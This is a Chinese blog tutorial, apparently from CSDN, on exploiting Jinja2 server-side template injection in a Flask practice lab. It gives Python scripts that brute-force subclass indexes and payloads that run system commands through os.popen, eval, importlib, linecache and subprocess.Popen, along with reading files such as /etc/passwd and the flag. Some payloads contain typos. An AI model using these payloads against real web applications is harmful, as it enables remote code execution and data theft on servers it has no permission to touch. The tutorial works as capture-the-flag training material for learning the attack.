• ssti 常见注入模块利用


    文件读取

    python脚本(这里以重庆橙子科技jinjia2模板注入为例)

    1. import requests
    2. url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
    3. for i in range(500):
    4. data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    5. try:
    6. response = requests.post(url,data=data)
    7. #print(response.text)
    8. if response.status_code == 200:
    9. if '_frozen_importlib_external.FileLoader' in response.text:
    10. print(i)
    11. except:
    12. pass

     

    使用hackbar测试一下

    使用bp,看不到passwd,直接读取flag

    get_data是 FileLoader 对象的一个方法,用于获取指定文件的内容。

    利用时第一个参数为 0 ,第二个参数为文件路径即可。

    内建函数eval执行命令

    内建函数: python在执行脚本时自动加载的函数

    python脚本查看可利用内建函数eval的模块(还是以jinjia2为例)

    1. import requests
    2. url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
    3. for i in range(500):
    4. data = {"name":
    5. "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    6. try:
    7. response = requests.post(url,data=data)
    8. #print(response.text)
    9. if response.status_code == 200:
    10. if 'eval' in response.text:
    11. print(i)
    12. except:
    13. pass

    利用内建函数 eval() 和 popen() 执行系统命令

    1. __builtins__: 提供对Python的所有“内置“标识符的直接访问。
    2. eval(): 计算字符串表达式的值。
    3. __import__: 加载 os 模块。
    4. popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。
    5. popen() 执行命令后没有直接回显,最后加个 read() 函数读取回显内容

    os模块执行命令

    在其他函数中直接调用os模块

    1. 通过config,调用os
    2. {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    3. 通过url for,调用os
    4. {{url_for.__globals__.os.popen.('whoami').read()}}
    5. 在已经加载os模块的子类里直接调用os模块
    6. {{".__clases__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l/opt").read()}}

    python脚本查找已经加载os模块的子类

    1. import requests
    2. url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
    3. for i in range(500):
    4. data = {"name":
    5. "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    6. response = requests.post(url, data=data)
    7. if response.status_code == 200:
    8. if "os.py" in response.text:
    9. print(i)

     

    构造paylaod

    name={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['os'].popen("ls -l /opt").read()}}

     

    importlib类执行命令

    可以加载第三方库,使用load module加载os

    python脚本查找 frozen importlib.Builtinlmporter

    1. import requests
    2. url = ''
    3. for i in range(500):
    4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    5. response = requests.post(url, data=data)
    6. if response.status_code == 200:
    7. if "_frozen_importlib.BuiltinImporter" in response.text:
    8. print(i)

     

    name={{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

     

    linecache函数执行命令

    linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

    python脚本查找linecache

    1. import requests
    2. url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
    3. for i in range(500):
    4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    5. response = requests.post(url, data=data)
    6. if response.status_code == 200:
    7. if "linecache" in response.text:
    8. print(i)

    name={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}

     

    subprocess.Popen 类执行命令 

    subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档

    简单地说,这个模块也可以执行 shell 命令。

    1. import requests
    2. url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
    3. for i in range(500):
    4. data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    5. response = requests.post(url, data=data)
    6. if response.status_code == 200:
    7. if "subprocess.Popen" in response.text:
    8. print(i)

     

    1. name={{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
    2. shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。
    3. stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到subprocess.PIPE,以便在后续步骤中获取输出。
    4. .communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。
    5. [0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。
    6. .strip():这是一个字符串方法,用于去除字符串两端的空白字符。

     

  • 相关阅读:
    JavaWeb项目(二)
    javaScript:碰撞检测
    基于EPICS stream模块的直流电源的IOC控制程序实例
    淘宝商品sku信息抓取接口api
    Docker第四天作业
    ES6——Set和Map集合介绍
    MindSpore自动微分小技巧
    Oracle数据库简介
    太极v14.0.4 免ROOT用Xposed
    全网独家首发!一份破解大厂面试官千层套路的Spring源码笔记
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133718117